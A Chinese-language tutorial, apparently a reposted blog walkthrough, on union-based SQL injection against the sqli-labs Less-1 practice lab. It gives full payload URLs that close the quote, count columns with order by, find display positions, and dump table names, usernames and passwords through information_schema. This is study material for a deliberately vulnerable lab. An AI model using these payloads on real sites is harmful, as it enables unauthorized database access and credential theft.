0


SQL联合注入

目录


前言

本文使用靶场为sqli-labs less-1;


一,联合注入前提

页面上有回显

什么是回显?

在一个网站页面,客户端将服务端执行SQL语句查询数据库中的数据展示在页面中,那么这个页面就存在回显


二,基本流程

  1. 判断注入点
  2. 使用order by推断字段数,即表中列的数量
  3. 使用union,确认显示位,即会显示的字段
  4. 获取数据库信息:数据库名>数据库表名>数据库表中所有字段>字段中数据

三,实战注入过程

1,判断注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

在这里插入图片描述
将id的参数改为2,id=2,发现页面有变化

http://127.0.0.1/sqli-labs-master/Less-1/?id=2

在这里插入图片描述
可以判断此页面与数据库进行了交互,任何与数据库产生交互的地方,都可能存在注入,接下来,我们利用and 1=1(判断的是整型参数)来判断是否存在注入点。

首先:

我们尝试在url后面加一个’

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

页面返回我们存在有语法错误:
在这里插入图片描述
显然是因为单引号引起的报错,结合报错信息,我们猜测后端执行的sql语句为:

select*from xxx where id=$id limit0,1;/*limit子句用于限制查询结果返回的数量。
用法:
select * from tableName limit i,n 
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
通俗的说:
第一个参数表示从第几行数据开始查
第二个参数表示查几条数据
就像“limit 3,2”表示从第四行数据开始,取两条数据
*/

然后:
我们再尝试在url后面加"

http://127.0.0.1/sqli-labs-master/Less-1/?id=1"

发现页面返回正常,
因为单引号报错,而双引号正常,我们可以进一步猜测id这个参数是被单引号包裹了。
所以SQL语句应该是:

select*from xxx where id='$id'limit0,1;
因为当我们输入单引号号时,会和'$id'前面的单引号闭合,就像' ' '
而输入双引号时,不会闭合,不仅双引号,输入别的也不会报错

那么我们就只需要将前面的单引号闭合,再将后面的语句注释掉,中间就可以插入我们想要执行的SQL语句了,代码如下:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'--+
--起到的作用就是注释后面的语句,而+的意义是空格
在--注释时,需要使用空格,才能形成有效的sql语句
而使用-- (有个空格),在传输过程中空格会被忽略,所以要使用+来代替

2,order by判断表中列的数量

因为在联合查询中,我们会使用union select来将两条查询语句拼接起来,但是前后两个select语句返回的字段数必须相同,否则无法拼接。
order by原本的用途是排序,order by x(x为一个数字),就会按照表中第x个字段进行重新排序。如果一个表的字段数只有10,但是我们用order by 11也就是,把第11个字段去排序,而数据库中并不存在第11字段,所以会报错。
而我们可以利用这个特点去猜字段数(一般使用二分的思路来判断)

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 10--+//页面返回错误
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 5--+//页面返回错误
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 3--+//页面正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 4--+//页面返回错误

3,使用union,确认显示位

由此可以判断,表中一共3个字段。
然后我们再来判断显示位(能够注入出数据的地方)

url:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
在后端sql执行命令:
select*from xxx where id='-1'unionselect1,2,3--+' limit 0,1;
注意:这里的id=1改成了id=-1;
这是因为有时网页往往只能回显一行数据,所以我们要让前面第一个select语句的返回值为空,
才能让后面的第二个select语句回显出数据,也就是我们自己要执行的攻击语句。

运行结果:
在这里插入图片描述
可以看到2,3是回显位;

4,获取数据库信息:

0x01获取数据库名:

 http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+

database()函数作用是:返回默认或当前数据库的名称
在这里插入图片描述
数据库名为:security

0x02获取数据库表名:

已经获取到数据库名为:security

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

1,group_concat()函数作用是将多条数据合并显示为一条
2,MYSQL在5.0版本后会多出一张系统数据库(information_schema)其他数据库的库名,表名,字段名等信息都可以在这个数据库中查询到
3,(information_schema.tables:表示所有表的信息)
sql语句作用是:从information_schema.tables的所有表的信息中找到数据库名为"security"的所有表名
在这里插入图片描述
获取了四个表名:emails,referers,uagents,users;
发现了一个重要的表:users(用户)通常用户的账号和密码会存放在这个表当中;

0x03获取数据库表中所有字段:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

1,(information_schema.columns:表示所有字段的信息)
2,column_name:列的名称
sql语句的作用是,从information_schema.columns中找到数据库security中的users表中所有字段

0x04获取字段中的数据:

查询username的值:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),3 from security.users--+

意思是获取数据库security中的users表中的username字段
在这里插入图片描述
查询password的值:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(password),3 from security.users--+

意思是获取数据库security中的users表中的password字段
在这里插入图片描述
账号密码已经获取,end。


本文转载自: https://blog.csdn.net/qq_41936015/article/details/126236200
版权归原作者 黑黑的小鸭 所有, 如有侵权,请联系我们删除。

“SQL联合注入”的评论:

还没有评论